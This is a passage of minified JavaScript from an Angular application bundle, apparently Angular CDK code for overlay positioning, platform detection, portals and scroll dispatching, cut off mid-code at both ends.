je(x,b);this._positionChanges.next(B)}this._isInitialRender=!1}_setTransformOrigin(x){if(!this._transformOriginSelector)return;const m=this._boundingBox.querySelectorAll(this._transformOriginSelector);let b,B=x.overlayY;b="center"===x.overlayX?"center":this._isRtl()?"start"===x.overlayX?"right":"left":"start"===x.overlayX?"left":"right";for(let ie=0;ie<m.length;ie++)m[ie].style.transformOrigin=`${b} ${B}`}_calculateBoundingBoxRect(x,m){const b=this._viewportRect,B=this._isRtl();let ie,Xe,it,Gt,qt,u1;if("top"===m.overlayY)Xe=x.y,ie=b.height-Xe+this._viewportMargin;else if("bottom"===m.overlayY)it=b.height-x.y+2*this._viewportMargin,ie=b.height-it+this._viewportMargin;else{const c1=Math.min(b.bottom-x.y+b.top,x.y),It=this._lastBoundingBoxSize.height;ie=2*c1,Xe=x.y-c1,ie>It&&!this._isInitialRender&&!this._growAfterOpen&&(Xe=x.y-It/2)}if("end"===m.overlayX&&!B||"start"===m.overlayX&&B)u1=b.width-x.x+this._viewportMargin,Gt=x.x-this._viewportMargin;else if("start"===m.overlayX&&!B||"end"===m.overlayX&&B)qt=x.x,Gt=b.right-x.x;else{const c1=Math.min(b.right-x.x+b.left,x.x),It=this._lastBoundingBoxSize.width;Gt=2*c1,qt=x.x-c1,Gt>It&&!this._isInitialRender&&!this._growAfterOpen&&(qt=x.x-It/2)}return{top:Xe,left:qt,bottom:it,right:u1,width:Gt,height:ie}}_setBoundingBoxStyles(x,m){const b=this._calculateBoundingBoxRect(x,m);!this._isInitialRender&&!this._growAfterOpen&&(b.height=Math.min(b.height,this._lastBoundingBoxSize.height),b.width=Math.min(b.width,this._lastBoundingBoxSize.width));const B={};if(this._hasExactPosition())B.top=B.left="0",B.bottom=B.right=B.maxHeight=B.maxWidth="",B.width=B.height="100%";else{const ie=this._overlayRef.getConfig().maxHeight,Xe=this._overlayRef.getConfig().maxWidth;B.height=(0,u.HM)(b.height),B.top=(0,u.HM)(b.top),B.bottom=(0,u.HM)(b.bottom),B.width=(0,u.HM)(b.width),B.left=(0,u.HM)(b.left),B.right=(0,u.HM)(b.right),B.alignItems="center"===m.overlayX?"center":"end"===m.overlayX?"flex-end":"flex-start",B.justifyContent="center"===m.overlayY?"center":"bottom"===m.overlayY?"flex-end":"flex-start",ie&&(B.maxHeight=(0,u.HM)(ie)),Xe&&(B.maxWidth=(0,u.HM)(Xe))}this._lastBoundingBoxSize=b,De(this._boundingBox.style,B)}_resetBoundingBoxStyles(){De(this._boundingBox.style,{top:"0",left:"0",right:"0",bottom:"0",height:"",width:"",alignItems:"",justifyContent:""})}_resetOverlayElementStyles(){De(this._pane.style,{top:"",left:"",bottom:"",right:"",position:"",transform:""})}_setOverlayElementStyles(x,m){const b={},B=this._hasExactPosition(),ie=this._hasFlexibleDimensions,Xe=this._overlayRef.getConfig();if(B){const Gt=this._viewportRuler.getViewportScrollPosition();De(b,this._getExactOverlayY(m,x,Gt)),De(b,this._getExactOverlayX(m,x,Gt))}else b.position="static";let it="",wt=this._getOffset(m,"x"),Vt=this._getOffset(m,"y");wt&&(it+=`translateX(${wt}px) `),Vt&&(it+=`translateY(${Vt}px)`),b.transform=it.trim(),Xe.maxHeight&&(B?b.maxHeight=(0,u.HM)(Xe.maxHeight):ie&&(b.maxHeight="")),Xe.maxWidth&&(B?b.maxWidth=(0,u.HM)(Xe.maxWidth):ie&&(b.maxWidth="")),De(this._pane.style,b)}_getExactOverlayY(x,m,b){let B={top:"",bottom:""},ie=this._getOverlayPoint(m,this._overlayRect,x);return this._isPushed&&(ie=this._pushOverlayOnScreen(ie,this._overlayRect,b)),"bottom"===x.overlayY?B.bottom=this._document.documentElement.clientHeight-(ie.y+this._overlayRect.height)+"px":B.top=(0,u.HM)(ie.y),B}_getExactOverlayX(x,m,b){let Xe,B={left:"",right:""},ie=this._getOverlayPoint(m,this._overlayRect,x);return this._isPushed&&(ie=this._pushOverlayOnScreen(ie,this._overlayRect,b)),Xe=this._isRtl()?"end"===x.overlayX?"left":"right":"end"===x.overlayX?"right":"left","right"===Xe?B.right=this._document.documentElement.clientWidth-(ie.x+this._overlayRect.width)+"px":B.left=(0,u.HM)(ie.x),B}_getScrollVisibility(){const x=this._getOriginRect(),m=this._pane.getBoundingClientRect(),b=this._scrollables.map(B=>B.getElementRef().nativeElement.getBoundingClientRect());return{isOriginClipped:K(x,b),isOriginOutsideView:k(x,b),isOverlayClipped:K(m,b),isOverlayOutsideView:k(m,b)}}_subtractOverflows(x,...m){return m.reduce((b,B)=>b-Math.max(B,0),x)}_getNarrowedViewportRect(){const x=this._document.documentElement.clientWidth,m=this._document.documentElement.clientHeight,b=this._viewportRuler.getViewportScrollPosition();return{top:b.top+this._viewportMargin,left:b.left+this._viewportMargin,right:b.left+x-this._viewportMargin,bottom:b.top+m-this._viewportMargin,width:x-2*this._viewportMargin,height:m-2*this._viewportMargin}}_isRtl(){return"rtl"===this._overlayRef.getDirection()}_hasExactPosition(){return!this._hasFlexibleDimensions||this._isPushed}_getOffset(x,m){return"x"===m?null==x.offsetX?this._offsetX:x.offsetX:null==x.offsetY?this._offsetY:x.offsetY}_validatePositions(){}_addPanelClasses(x){this._pane&&(0,u.Eq)(x).forEach(m=>{""!==m&&-1===this._appliedPanelClasses.indexOf(m)&&(this._appliedPanelClasses.push(m),this._pane.classList.add(m))})}_clearPanelClasses(){this._pane&&(this._appliedPanelClasses.forEach(x=>{this._pane.classList.remove(x)}),this._appliedPanelClasses=[])}_getOriginRect(){const x=this._origin;if(x instanceof s.SBq)return x.nativeElement.getBoundingClientRect();if(x instanceof Element)return x.getBoundingClientRect();const m=x.width||0,b=x.height||0;return{top:x.y,bottom:x.y+b,left:x.x,right:x.x+m,height:b,width:m}}}function De(te,x){for(let m in x)x.hasOwnProperty(m)&&(te[m]=x[m]);return te}function re(te){if("number"!=typeof te&&null!=te){const[x,m]=te.split(bt);return m&&"px"!==m?null:parseFloat(x)}return te||null}function ve(te){return{top:Math.floor(te.top),right:Math.floor(te.right),bottom:Math.floor(te.bottom),left:Math.floor(te.left),width:Math.floor(te.width),height:Math.floor(te.height)}}const Be="cdk-global-overlay-wrapper";class pe{constructor(){this._cssPosition="static",this._topOffset="",this._bottomOffset="",this._alignItems="",this._xPosition="",this._xOffset="",this._width="",this._height="",this._isDisposed=!1}attach(x){const m=x.getConfig();this._overlayRef=x,this._width&&!m.width&&x.updateSize({width:this._width}),this._height&&!m.height&&x.updateSize({height:this._height}),x.hostElement.classList.add(Be),this._isDisposed=!1}top(x=""){return this._bottomOffset="",this._topOffset=x,this._alignItems="flex-start",this}left(x=""){return this._xOffset=x,this._xPosition="left",this}bottom(x=""){return this._topOffset="",this._bottomOffset=x,this._alignItems="flex-end",this}right(x=""){return this._xOffset=x,this._xPosition="right",this}start(x=""){return this._xOffset=x,this._xPosition="start",this}end(x=""){return this._xOffset=x,this._xPosition="end",this}width(x=""){return this._overlayRef?this._overlayRef.updateSize({width:x}):this._width=x,this}height(x=""){return this._overlayRef?this._overlayRef.updateSize({height:x}):this._height=x,this}centerHorizontally(x=""){return this.left(x),this._xPosition="center",this}centerVertically(x=""){return this.top(x),this._alignItems="center",this}apply(){if(!this._overlayRef||!this._overlayRef.hasAttached())return;const x=this._overlayRef.overlayElement.style,m=this._overlayRef.hostElement.style,b=this._overlayRef.getConfig(),{width:B,height:ie,maxWidth:Xe,maxHeight:it}=b,wt=!("100%"!==B&&"100vw"!==B||Xe&&"100%"!==Xe&&"100vw"!==Xe),Vt=!("100%"!==ie&&"100vh"!==ie||it&&"100%"!==it&&"100vh"!==it),Gt=this._xPosition,qt=this._xOffset,u1="rtl"===this._overlayRef.getConfig().direction;let c1="",It="",_t="";wt?_t="flex-start":"center"===Gt?(_t="center",u1?It=qt:c1=qt):u1?"left"===Gt||"end"===Gt?(_t="flex-end",c1=qt):("right"===Gt||"start"===Gt)&&(_t="flex-start",It=qt):"left"===Gt||"start"===Gt?(_t="flex-start",c1=qt):("right"===Gt||"end"===Gt)&&(_t="flex-end",It=qt),x.position=this._cssPosition,x.marginLeft=wt?"0":c1,x.marginTop=Vt?"0":this._topOffset,x.marginBottom=this._bottomOffset,x.marginRight=wt?"0":It,m.justifyContent=_t,m.alignItems=Vt?"flex-start":this._alignItems}dispose(){if(this._isDisposed||!this._overlayRef)return;const x=this._overlayRef.overlayElement.style,m=this._overlayRef.hostElement,b=m.style;m.classList.remove(Be),b.justifyContent=b.alignItems=x.marginTop=x.marginBottom=x.marginLeft=x.marginRight=x.position="",this._overlayRef=null,this._isDisposed=!0}}let P=(()=>{class te{constructor(m,b,B,ie){this._viewportRuler=m,this._document=b,this._platform=B,this._overlayContainer=ie}global(){return new pe}flexibleConnectedTo(m){return new ze(m,this._viewportRuler,this._document,this._platform,this._overlayContainer)}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(n.rL),s.LFG(a.K0),s.LFG(c.t4),s.LFG(qe))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})(),w=0,R=(()=>{class te{constructor(m,b,B,ie,Xe,it,wt,Vt,Gt,qt,u1,c1){this.scrollStrategies=m,this._overlayContainer=b,this._componentFactoryResolver=B,this._positionBuilder=ie,this._keyboardDispatcher=Xe,this._injector=it,this._ngZone=wt,this._document=Vt,this._directionality=Gt,this._location=qt,this._outsideClickDispatcher=u1,this._animationsModuleType=c1}create(m){const b=this._createHostElement(),B=this._createPaneElement(b),ie=this._createPortalOutlet(B),Xe=new q(m);return Xe.direction=Xe.direction||this._directionality.value,new Ke(ie,b,B,Xe,this._ngZone,this._keyboardDispatcher,this._document,this._location,this._outsideClickDispatcher,"NoopAnimations"===this._animationsModuleType)}position(){return this._positionBuilder}_createPaneElement(m){const b=this._document.createElement("div");return b.id="cdk-overlay-"+w++,b.classList.add("cdk-overlay-pane"),m.appendChild(b),b}_createHostElement(){const m=this._document.createElement("div");return this._overlayContainer.getContainerElement().appendChild(m),m}_createPortalOutlet(m){return this._appRef||(this._appRef=this._injector.get(s.z2F)),new E.u0(m,this._componentFactoryResolver,this._appRef,this._injector,this._document)}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(ee),s.LFG(qe),s.LFG(s._Vd),s.LFG(P),s.LFG(Qe),s.LFG(s.zs3),s.LFG(s.R0b),s.LFG(a.K0),s.LFG(f.Is),s.LFG(a.Ye),s.LFG(Ye),s.LFG(s.QbO,8))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac}),te})();const X=[{originX:"start",originY:"bottom",overlayX:"start",overlayY:"top"},{originX:"start",originY:"top",overlayX:"start",overlayY:"bottom"},{originX:"end",originY:"top",overlayX:"end",overlayY:"bottom"},{originX:"end",originY:"bottom",overlayX:"end",overlayY:"top"}],_e=new s.OlP("cdk-connected-overlay-scroll-strategy");let ct=(()=>{class te{constructor(m){this.elementRef=m}}return te.\\u0275fac=function(m){return new(m||te)(s.Y36(s.SBq))},te.\\u0275dir=s.lG2({type:te,selectors:[["","cdk-overlay-origin",""],["","overlay-origin",""],["","cdkOverlayOrigin",""]],exportAs:["cdkOverlayOrigin"]}),te})(),Je=(()=>{class te{constructor(m,b,B,ie,Xe){this._overlay=m,this._dir=Xe,this._hasBackdrop=!1,this._lockPosition=!1,this._growAfterOpen=!1,this._flexibleDimensions=!1,this._push=!1,this._backdropSubscription=S.w.EMPTY,this._attachSubscription=S.w.EMPTY,this._detachSubscription=S.w.EMPTY,this._positionSubscription=S.w.EMPTY,this.viewportMargin=0,this.open=!1,this.disableClose=!1,this.backdropClick=new s.vpe,this.positionChange=new s.vpe,this.attach=new s.vpe,this.detach=new s.vpe,this.overlayKeydown=new s.vpe,this.overlayOutsideClick=new s.vpe,this._templatePortal=new E.UE(b,B),this._scrollStrategyFactory=ie,this.scrollStrategy=this._scrollStrategyFactory()}get offsetX(){return this._offsetX}set offsetX(m){this._offsetX=m,this._position&&this._updatePositionStrategy(this._position)}get offsetY(){return this._offsetY}set offsetY(m){this._offsetY=m,this._position&&this._updatePositionStrategy(this._position)}get hasBackdrop(){return this._hasBackdrop}set hasBackdrop(m){this._hasBackdrop=(0,u.Ig)(m)}get lockPosition(){return this._lockPosition}set lockPosition(m){this._lockPosition=(0,u.Ig)(m)}get flexibleDimensions(){return this._flexibleDimensions}set flexibleDimensions(m){this._flexibleDimensions=(0,u.Ig)(m)}get growAfterOpen(){return this._growAfterOpen}set growAfterOpen(m){this._growAfterOpen=(0,u.Ig)(m)}get push(){return this._push}set push(m){this._push=(0,u.Ig)(m)}get overlayRef(){return this._overlayRef}get dir(){return this._dir?this._dir.value:"ltr"}ngOnDestroy(){this._attachSubscription.unsubscribe(),this._detachSubscription.unsubscribe(),this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe(),this._overlayRef&&this._overlayRef.dispose()}ngOnChanges(m){this._position&&(this._updatePositionStrategy(this._position),this._overlayRef.updateSize({width:this.width,minWidth:this.minWidth,height:this.height,minHeight:this.minHeight}),m.origin&&this.open&&this._position.apply()),m.open&&(this.open?this._attachOverlay():this._detachOverlay())}_createOverlay(){(!this.positions||!this.positions.length)&&(this.positions=X);const m=this._overlayRef=this._overlay.create(this._buildConfig());this._attachSubscription=m.attachments().subscribe(()=>this.attach.emit()),this._detachSubscription=m.detachments().subscribe(()=>this.detach.emit()),m.keydownEvents().subscribe(b=>{this.overlayKeydown.next(b),b.keyCode===j.hY&&!this.disableClose&&!(0,j.Vb)(b)&&(b.preventDefault(),this._detachOverlay())}),this._overlayRef.outsidePointerEvents().subscribe(b=>{this.overlayOutsideClick.next(b)})}_buildConfig(){const m=this._position=this.positionStrategy||this._createPositionStrategy(),b=new q({direction:this._dir,positionStrategy:m,scrollStrategy:this.scrollStrategy,hasBackdrop:this.hasBackdrop});return(this.width||0===this.width)&&(b.width=this.width),(this.height||0===this.height)&&(b.height=this.height),(this.minWidth||0===this.minWidth)&&(b.minWidth=this.minWidth),(this.minHeight||0===this.minHeight)&&(b.minHeight=this.minHeight),this.backdropClass&&(b.backdropClass=this.backdropClass),this.panelClass&&(b.panelClass=this.panelClass),b}_updatePositionStrategy(m){const b=this.positions.map(B=>({originX:B.originX,originY:B.originY,overlayX:B.overlayX,overlayY:B.overlayY,offsetX:B.offsetX||this.offsetX,offsetY:B.offsetY||this.offsetY,panelClass:B.panelClass||void 0}));return m.setOrigin(this._getFlexibleConnectedPositionStrategyOrigin()).withPositions(b).withFlexibleDimensions(this.flexibleDimensions).withPush(this.push).withGrowAfterOpen(this.growAfterOpen).withViewportMargin(this.viewportMargin).withLockedPosition(this.lockPosition).withTransformOriginOn(this.transformOriginSelector)}_createPositionStrategy(){const m=this._overlay.position().flexibleConnectedTo(this._getFlexibleConnectedPositionStrategyOrigin());return this._updatePositionStrategy(m),m}_getFlexibleConnectedPositionStrategyOrigin(){return this.origin instanceof ct?this.origin.elementRef:this.origin}_attachOverlay(){this._overlayRef?this._overlayRef.getConfig().hasBackdrop=this.hasBackdrop:this._createOverlay(),this._overlayRef.hasAttached()||this._overlayRef.attach(this._templatePortal),this.hasBackdrop?this._backdropSubscription=this._overlayRef.backdropClick().subscribe(m=>{this.backdropClick.emit(m)}):this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe(),this.positionChange.observers.length>0&&(this._positionSubscription=this._position.positionChanges.pipe((0,H.o)(()=>this.positionChange.observers.length>0)).subscribe(m=>{this.positionChange.emit(m),0===this.positionChange.observers.length&&this._positionSubscription.unsubscribe()}))}_detachOverlay(){this._overlayRef&&this._overlayRef.detach(),this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe()}}return te.\\u0275fac=function(m){return new(m||te)(s.Y36(R),s.Y36(s.Rgc),s.Y36(s.s_b),s.Y36(_e),s.Y36(f.Is,8))},te.\\u0275dir=s.lG2({type:te,selectors:[["","cdk-connected-overlay",""],["","connected-overlay",""],["","cdkConnectedOverlay",""]],inputs:{origin:["cdkConnectedOverlayOrigin","origin"],positions:["cdkConnectedOverlayPositions","positions"],positionStrategy:["cdkConnectedOverlayPositionStrategy","positionStrategy"],offsetX:["cdkConnectedOverlayOffsetX","offsetX"],offsetY:["cdkConnectedOverlayOffsetY","offsetY"],width:["cdkConnectedOverlayWidth","width"],height:["cdkConnectedOverlayHeight","height"],minWidth:["cdkConnectedOverlayMinWidth","minWidth"],minHeight:["cdkConnectedOverlayMinHeight","minHeight"],backdropClass:["cdkConnectedOverlayBackdropClass","backdropClass"],panelClass:["cdkConnectedOverlayPanelClass","panelClass"],viewportMargin:["cdkConnectedOverlayViewportMargin","viewportMargin"],scrollStrategy:["cdkConnectedOverlayScrollStrategy","scrollStrategy"],open:["cdkConnectedOverlayOpen","open"],disableClose:["cdkConnectedOverlayDisableClose","disableClose"],transformOriginSelector:["cdkConnectedOverlayTransformOriginOn","transformOriginSelector"],hasBackdrop:["cdkConnectedOverlayHasBackdrop","hasBackdrop"],lockPosition:["cdkConnectedOverlayLockPosition","lockPosition"],flexibleDimensions:["cdkConnectedOverlayFlexibleDimensions","flexibleDimensions"],growAfterOpen:["cdkConnectedOverlayGrowAfterOpen","growAfterOpen"],push:["cdkConnectedOverlayPush","push"]},outputs:{backdropClick:"backdropClick",positionChange:"positionChange",attach:"attach",detach:"detach",overlayKeydown:"overlayKeydown",overlayOutsideClick:"overlayOutsideClick"},exportAs:["cdkConnectedOverlay"],features:[s.TTD]}),te})();const Dt={provide:_e,deps:[R],useFactory:function Et(te){return()=>te.scrollStrategies.reposition()}};let Pt=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275mod=s.oAB({type:te}),te.\\u0275inj=s.cJS({providers:[R,Dt],imports:[f.vT,E.eL,n.Cl,n.Cl]}),te})()},3353:(At,ae,d)=>{"use strict";d.d(ae,{Mq:()=>j,Oy:()=>K,_i:()=>U,ht:()=>Ce,i$:()=>C,kV:()=>oe,qK:()=>_,sA:()=>k,t4:()=>u});var n=d(4650),a=d(6895);let s;try{s=typeof Intl<"u"&&Intl.v8BreakIterator}catch{s=!1}let f,u=(()=>{class se{constructor(q){this._platformId=q,this.isBrowser=this._platformId?(0,a.NF)(this._platformId):"object"==typeof document&&!!document,this.EDGE=this.isBrowser&&/(edge)/i.test(navigator.userAgent),this.TRIDENT=this.isBrowser&&/(msie|trident)/i.test(navigator.userAgent),this.BLINK=this.isBrowser&&!(!window.chrome&&!s)&&typeof CSS<"u"&&!this.EDGE&&!this.TRIDENT,this.WEBKIT=this.isBrowser&&/AppleWebKit/i.test(navigator.userAgent)&&!this.BLINK&&!this.EDGE&&!this.TRIDENT,this.IOS=this.isBrowser&&/iPad|iPhone|iPod/.test(navigator.userAgent)&&!("MSStream"in window),this.FIREFOX=this.isBrowser&&/(firefox|minefield)/i.test(navigator.userAgent),this.ANDROID=this.isBrowser&&/android/i.test(navigator.userAgent)&&!this.TRIDENT,this.SAFARI=this.isBrowser&&/safari/i.test(navigator.userAgent)&&this.WEBKIT}}return se.\\u0275fac=function(q){return new(q||se)(n.LFG(n.Lbi))},se.\\u0275prov=n.Yz7({token:se,factory:se.\\u0275fac,providedIn:"root"}),se})();const E=["color","button","checkbox","date","datetime-local","email","file","hidden","image","month","number","password","radio","range","reset","search","submit","tel","text","time","url","week"];function _(){if(f)return f;if("object"!=typeof document||!document)return f=new Set(E),f;let se=document.createElement("input");return f=new Set(E.filter(ee=>(se.setAttribute("type",ee),se.type===ee))),f}let S,z,H,G;function C(se){return function g(){if(null==S&&typeof window<"u")try{window.addEventListener("test",null,Object.defineProperty({},"passive",{get:()=>S=!0}))}finally{S=S||!1}return S}()?se:!!se.capture}function j(){if(null==H){if("object"!=typeof document||!document||"function"!=typeof Element||!Element)return H=!1,H;if("scrollBehavior"in document.documentElement.style)H=!0;else{const se=Element.prototype.scrollTo;H=!!se&&!/\\{\\s*\\[native code\\]\\s*\\}/.test(se.toString())}}return H}function U(){if("object"!=typeof document||!document)return 0;if(null==z){const se=document.createElement("div"),ee=se.style;se.dir="rtl",ee.width="1px",ee.overflow="auto",ee.visibility="hidden",ee.pointerEvents="none",ee.position="absolute";const q=document.createElement("div"),we=q.style;we.width="2px",we.height="1px",se.appendChild(q),document.body.appendChild(se),z=0,0===se.scrollLeft&&(se.scrollLeft=1,z=0===se.scrollLeft?1:2),se.remove()}return z}function oe(se){if(function Q(){if(null==G){const se=typeof document<"u"?document.head:null;G=!(!se||!se.createShadowRoot&&!se.attachShadow)}return G}()){const ee=se.getRootNode?se.getRootNode():null;if(typeof ShadowRoot<"u"&&ShadowRoot&&ee instanceof ShadowRoot)return ee}return null}function Ce(){let se=typeof document<"u"&&document?document.activeElement:null;for(;se&&se.shadowRoot;){const ee=se.shadowRoot.activeElement;if(ee===se)break;se=ee}return se}function k(se){return se.composedPath?se.composedPath()[0]:se.target}function K(){return typeof __karma__<"u"&&!!__karma__||typeof jasmine<"u"&&!!jasmine||typeof jest<"u"&&!!jest||typeof Mocha<"u"&&!!Mocha}},4080:(At,ae,d)=>{"use strict";d.d(ae,{C5:()=>g,Pl:()=>Ce,UE:()=>C,eL:()=>K,en:()=>H,ig:()=>Q,u0:()=>U});var n=d(4650),a=d(6895);class S{attach(q){return this._attachedHost=q,q.attach(this)}detach(){let q=this._attachedHost;null!=q&&(this._attachedHost=null,q.detach())}get isAttached(){return null!=this._attachedHost}setAttachedHost(q){this._attachedHost=q}}class g extends S{constructor(q,we,ce,je){super(),this.component=q,this.viewContainerRef=we,this.injector=ce,this.componentFactoryResolver=je}}class C extends S{constructor(q,we,ce,je){super(),this.templateRef=q,this.viewContainerRef=we,this.context=ce,this.injector=je}get origin(){return this.templateRef.elementRef}attach(q,we=this.context){return this.context=we,super.attach(q)}detach(){return this.context=void 0,super.detach()}}class z extends S{constructor(q){super(),this.element=q instanceof n.SBq?q.nativeElement:q}}class H{constructor(){this._isDisposed=!1,this.attachDomPortal=null}hasAttached(){return!!this._attachedPortal}attach(q){return q instanceof g?(this._attachedPortal=q,this.attachComponentPortal(q)):q instanceof C?(this._attachedPortal=q,this.attachTemplatePortal(q)):this.attachDomPortal&&q instanceof z?(this._attachedPortal=q,this.attachDomPortal(q)):void 0}detach(){this._attachedPortal&&(this._attachedPortal.setAttachedHost(null),this._attachedPortal=null),this._invokeDisposeFn()}dispose(){this.hasAttached()&&this.detach(),this._invokeDisposeFn(),this._isDisposed=!0}setDisposeFn(q){this._disposeFn=q}_invokeDisposeFn(){this._disposeFn&&(this._disposeFn(),this._disposeFn=null)}}class U extends H{constructor(q,we,ce,je,Ze){super(),this.outletElement=q,this._componentFactoryResolver=we,this._appRef=ce,this._defaultInjector=je,this.attachDomPortal=le=>{const Oe=le.element,Qe=this._document.createComment("dom-portal");Oe.parentNode.insertBefore(Qe,Oe),this.outletElement.appendChild(Oe),this._attachedPortal=le,super.setDisposeFn(()=>{Qe.parentNode&&Qe.parentNode.replaceChild(Oe,Qe)})},this._document=Ze}attachComponentPortal(q){const ce=(q.componentFactoryResolver||this._componentFactoryResolver).resolveComponentFactory(q.component);let je;return q.viewContainerRef?(je=q.viewContainerRef.createComponent(ce,q.viewContainerRef.length,q.injector||q.viewContainerRef.injector),this.setDisposeFn(()=>je.destroy())):(je=ce.create(q.injector||this._defaultInjector||n.zs3.NULL),this._appRef.attachView(je.hostView),this.setDisposeFn(()=>{this._appRef.viewCount>0&&this._appRef.detachView(je.hostView),je.destroy()})),this.outletElement.appendChild(this._getComponentRootNode(je)),this._attachedPortal=q,je}attachTemplatePortal(q){let we=q.viewContainerRef,ce=we.createEmbeddedView(q.templateRef,q.context,{injector:q.injector});return ce.rootNodes.forEach(je=>this.outletElement.appendChild(je)),ce.detectChanges(),this.setDisposeFn(()=>{let je=we.indexOf(ce);-1!==je&&we.remove(je)}),this._attachedPortal=q,ce}dispose(){super.dispose(),this.outletElement.remove()}_getComponentRootNode(q){return q.hostView.rootNodes[0]}}let Q=(()=>{class ee extends C{constructor(we,ce){super(we,ce)}}return ee.\\u0275fac=function(we){return new(we||ee)(n.Y36(n.Rgc),n.Y36(n.s_b))},ee.\\u0275dir=n.lG2({type:ee,selectors:[["","cdkPortal",""]],exportAs:["cdkPortal"],features:[n.qOj]}),ee})(),Ce=(()=>{class ee extends H{constructor(we,ce,je){super(),this._componentFactoryResolver=we,this._viewContainerRef=ce,this._isInitialized=!1,this.attached=new n.vpe,this.attachDomPortal=Ze=>{const le=Ze.element,Oe=this._document.createComment("dom-portal");Ze.setAttachedHost(this),le.parentNode.insertBefore(Oe,le),this._getRootNode().appendChild(le),this._attachedPortal=Ze,super.setDisposeFn(()=>{Oe.parentNode&&Oe.parentNode.replaceChild(le,Oe)})},this._document=je}get portal(){return this._attachedPortal}set portal(we){this.hasAttached()&&!we&&!this._isInitialized||(this.hasAttached()&&super.detach(),we&&super.attach(we),this._attachedPortal=we||null)}get attachedRef(){return this._attachedRef}ngOnInit(){this._isInitialized=!0}ngOnDestroy(){super.dispose(),this._attachedPortal=null,this._attachedRef=null}attachComponentPortal(we){we.setAttachedHost(this);const ce=null!=we.viewContainerRef?we.viewContainerRef:this._viewContainerRef,Ze=(we.componentFactoryResolver||this._componentFactoryResolver).resolveComponentFactory(we.component),le=ce.createComponent(Ze,ce.length,we.injector||ce.injector);return ce!==this._viewContainerRef&&this._getRootNode().appendChild(le.hostView.rootNodes[0]),super.setDisposeFn(()=>le.destroy()),this._attachedPortal=we,this._attachedRef=le,this.attached.emit(le),le}attachTemplatePortal(we){we.setAttachedHost(this);const ce=this._viewContainerRef.createEmbeddedView(we.templateRef,we.context,{injector:we.injector});return super.setDisposeFn(()=>this._viewContainerRef.clear()),this._attachedPortal=we,this._attachedRef=ce,this.attached.emit(ce),ce}_getRootNode(){const we=this._viewContainerRef.element.nativeElement;return we.nodeType===we.ELEMENT_NODE?we:we.parentNode}}return ee.\\u0275fac=function(we){return new(we||ee)(n.Y36(n._Vd),n.Y36(n.s_b),n.Y36(a.K0))},ee.\\u0275dir=n.lG2({type:ee,selectors:[["","cdkPortalOutlet",""]],inputs:{portal:["cdkPortalOutlet","portal"]},outputs:{attached:"attached"},exportAs:["cdkPortalOutlet"],features:[n.qOj]}),ee})(),K=(()=>{class ee{}return ee.\\u0275fac=function(we){return new(we||ee)},ee.\\u0275mod=n.oAB({type:ee}),ee.\\u0275inj=n.cJS({}),ee})()},7261:(At,ae,d)=>{"use strict";d.d(ae,{PQ:()=>le,ZD:()=>We,mF:()=>Ze,Cl:()=>xt,rL:()=>Qe});var n=d(1281),a=d(4650),s=d(8929),u=d(1086),c=d(6498),f=d(3753),S=(d(352),d(8139),d(353)),g=d(1177);class z{constructor(pe){this.durationSelector=pe}call(pe,P){return P.subscribe(new H(pe,this.durationSelector))}}class H extends g.Ds{constructor(pe,P){super(pe),this.durationSelector=P,this.hasValue=!1}_next(pe){if(this.value=pe,this.hasValue=!0,!this.throttled){let P;try{const{durationSelector:R}=this;P=R(pe)}catch(R){return this.destination.error(R)}const w=(0,g.ft)(P,new g.IY(this));!w||w.closed?this.clearThrottle():this.add(this.throttled=w)}}clearThrottle(){const{value:pe,hasValue:P,throttled:w}=this;w&&(this.remove(w),this.throttled=void 0,w.unsubscribe()),P&&(this.value=void 0,this.hasValue=!1,this.destination.next(pe))}notifyNext(){this.clearThrottle()}notifyComplete(){this.clearThrottle()}}var j=d(7739);function U(Be,pe=S.P){return function C(Be){return function(P){return P.lift(new z(Be))}}(()=>(0,j.H)(Be,pe))}var G=d(2198),Q=d(7625),oe=d(3353),Ce=d(6895),k=d(445);let Ze=(()=>{class Be{constructor(P,w,R){this._ngZone=P,this._platform=w,this._scrolled=new s.xQ,this._globalSubscription=null,this._scrolledCount=0,this.scrollContainers=new Map,this._document=R}register(P){this.scrollContainers.has(P)||this.scrollContainers.set(P,P.elementScrolled().subscribe(()=>this._scrolled.next(P)))}deregister(P){const w=this.scrollContainers.get(P);w&&(w.unsubscribe(),this.scrollContainers.delete(P))}scrolled(P=20){return this._platform.isBrowser?new c.y(w=>{this._globalSubscription||this._addGlobalListener();const R=P>0?this._scrolled.pipe(U(P)).subscribe(w):this._scrolled.subscribe(w);return this._scrolledCount++,()=>{R.unsubscribe(),this._scrolledCount--,this._scrolledCount||this._removeGlobalListener()}}):(0,u.of)()}ngOnDestroy(){this._removeGlobalListener(),this.scrollContainers.forEach((P,w)=>this.deregister(w)),this._scrolled.complete()}ancestorScrolled(P,w){const R=this.getAncestorScrollContainers(P);return this.scrolled(w).pipe((0,G.h)(X=>!X||R.indexOf(X)>-1))}getAncestorScrollContainers(P){const w=[];return this.scrollContainers.forEach((R,X)=>{this._scrollableContainsElement(X,P)&&w.push(X)}),w}_getWindow(){return this._document.defaultView||window}_scrollableContainsElement(P,w){let R=(0,n.fI)(w),X=P.getElementRef().nativeElement;do{if(R==X)return!0}while(R=R.parentElement);return!1}_addGlobalListener(){this._globalSubscription=this._ngZone.runOutsideAngular(()=>{const P=this._getWindow();return(0,f.R)(P.document,"scroll").subscribe(()=>this._scrolled.next())})}_removeGlobalListener(){this._globalSubscription&&(this._globalSubscription.unsubscribe(),this._globalSubscription=null)}}return Be.\\u0275fac=function(P){return new(P||Be)(a.LFG(a.R0b),a.LFG(oe.t4),a.LFG(Ce.K0,8))},Be.\\u0275prov=a.Yz7({token:Be,factory:Be.\\u0275fac,providedIn:"root"}),Be})(),le=(()=>{class Be{constructor(P,w,R,X){this.elementRef=P,this.scrollDispatcher=w,this.ngZone=R,this.dir=X,this._destroyed=new s.xQ,this._elementScrolled=new 